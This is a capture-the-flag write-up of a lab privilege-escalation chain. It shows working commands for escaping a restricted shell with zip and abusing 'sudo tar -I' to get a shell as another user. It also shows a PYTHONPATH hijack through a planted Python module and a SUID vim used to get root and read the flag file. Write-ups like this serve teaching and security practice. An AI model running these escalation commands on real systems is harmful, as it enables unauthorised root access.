Challenge by serial154.
Realistic PWN at InterIUT 2026. The scenario: credentials from a MilSec Industries employee have been leaked. As a member of Null-Syndicate, the objective is to use those credentials to take control of the machine and exfiltrate the sensitive data it hosts. One objective: exfiltrate /root/flag.txt.
Challenge
credentials: john:MilSecIndustries1
No service to exploit, no network vuln. We walk straight into the machine and find the path to root ourselves.
Connecting
ssh john@<target>
# password: MilSecIndustries1
Getting a shell
First connection, first surprise. Every command returns the same message:
Command interdite; veuillez utiliser ce bash seulement pour la commande zip
(“Command forbidden; please use this bash only for the zip command.”)
The shell is a restricted bash intentionally locked down to zip only. GTFOBins documents shell escapes for common binaries, zip is on the list. The -T flag tests the archive integrity by running a command, and -TT lets us specify that command:
zip tmp /etc/hosts -T -TT '/bin/sh #'
Shell. From there we search online to understand what happened. A Stack Overflow thread about bin misconfiguration gives us the answer. Running /usr/bin/ls ~ confirms it: there is a bin folder sitting in the home directory containing only zip. That’s the root cause: PATH was pointing to that folder first, making zip the only reachable command. Fix:
export PATH=$HOME/bin:$PATH
Commands go through now. We upgrade to a proper interactive shell using pty, the Python pseudo-terminal module:
python3 -c 'import pty; pty.spawn("/bin/bash")'
Note: the 2026
copy.failkernel vulnerability (CVE-2026-31431) was exploitable from python at this point and would have let us skip straight to root. Shortcut not intended by the challmaker, we ignore it and play the game properly.
john -> mark (tar command injection)
Standard privesc reflex, check what we can run as another user:
sudo -l
(mark) NOPASSWD: tar xf *
sudo lets a user run specific commands as another user without a password. Here john can run tar xf as mark with no password. The wildcard * means any argument is fair game. GTFOBins documents tar, the -I flag specifies a program to use as the decompressor, and nothing stops us from passing a shell command instead:
sudo -u mark tar xf /dev/null -I '/bin/sh -c "/bin/sh 0<&2 1>&2"'
The 0<&2 1>&2 redirects stdin and stdout to stderr so the shell stays interactive. Shell as mark.
mark -> restadmin (PYTHONPATH hijack)
sudo -l
(restadmin) SETENV: NOPASSWD: /usr/bin/python3 /home/restadmin/cleanup.py
Two things here. SETENV means we control environment variables at runtime, sudo normally strips dangerous ones like PYTHONPATH, but SETENV hands that control back to us. The script itself imports a library called archive which doesn’t exist anywhere on the system. That’s the challmaker nudging us: if it doesn’t exist, we make it.
When Python imports a module it walks PYTHONPATH first before hitting the standard library locations. If we plant a fake archive.py somewhere we control and prepend that directory to PYTHONPATH, Python loads ours instead.
We write the fake lib at /tmp/archive.py:
import os
os.system("exec bash")
There are better ways to spawn a shell from Python. This is the one we found while frantically searching at the time.
We force Python to load it via PYTHONPATH:
sudo -u restadmin PYTHONPATH=/tmp/ /usr/bin/python3 /home/restadmin/cleanup.py
Shell as restadmin.
restadmin -> root (vim SUID)
vim had been completely unusable since the start of the challenge. Every time we tried it, nothing. We were forced to resort to nano instead. Shame on you, challmaker.
After checking why vim kept failing:
ls -la /usr/bin | grep vim
-rwsr-x--- 1 root restadmin 4126480 May 5 09:14 /usr/bin/vim.basic
The s bit in the permissions is SUID: when set on an executable owned by root, it runs as root regardless of who launches it. The group is restadmin, so only that user can execute it. We were locked out the whole time, now it’s ours. GTFOBins documents vim with several paths, the cleanest one being :! which runs a shell command from inside the editor:
$ vim
:!id
uid=0(root) gid=0(root) groups=0(root)
:shell
whoami
# root
cat /root/flag.txt
# interiut{[REDACTED]}
Chain summary
| Step | Vector | Technique |
|---|---|---|
| john -> shell | restricted bash + zip | GTFOBins -T -TT escape |
| john -> mark | sudo tar xf | GTFOBins -I injection |
| mark -> restadmin | sudo python3 + SETENV | PYTHONPATH hijack |
| restadmin -> root | vim SUID root | GTFOBins :!id :shell |
Each sudo -l hands you the key to the next door. The challmaker built a clean chain where every user is a step and every misconfigured sudo rule is the way through. vim SUID at the end is a nice touch, broken and taunting you the whole run, final reward for anyone who made it that far.
Thanks to serial154 for the challenge.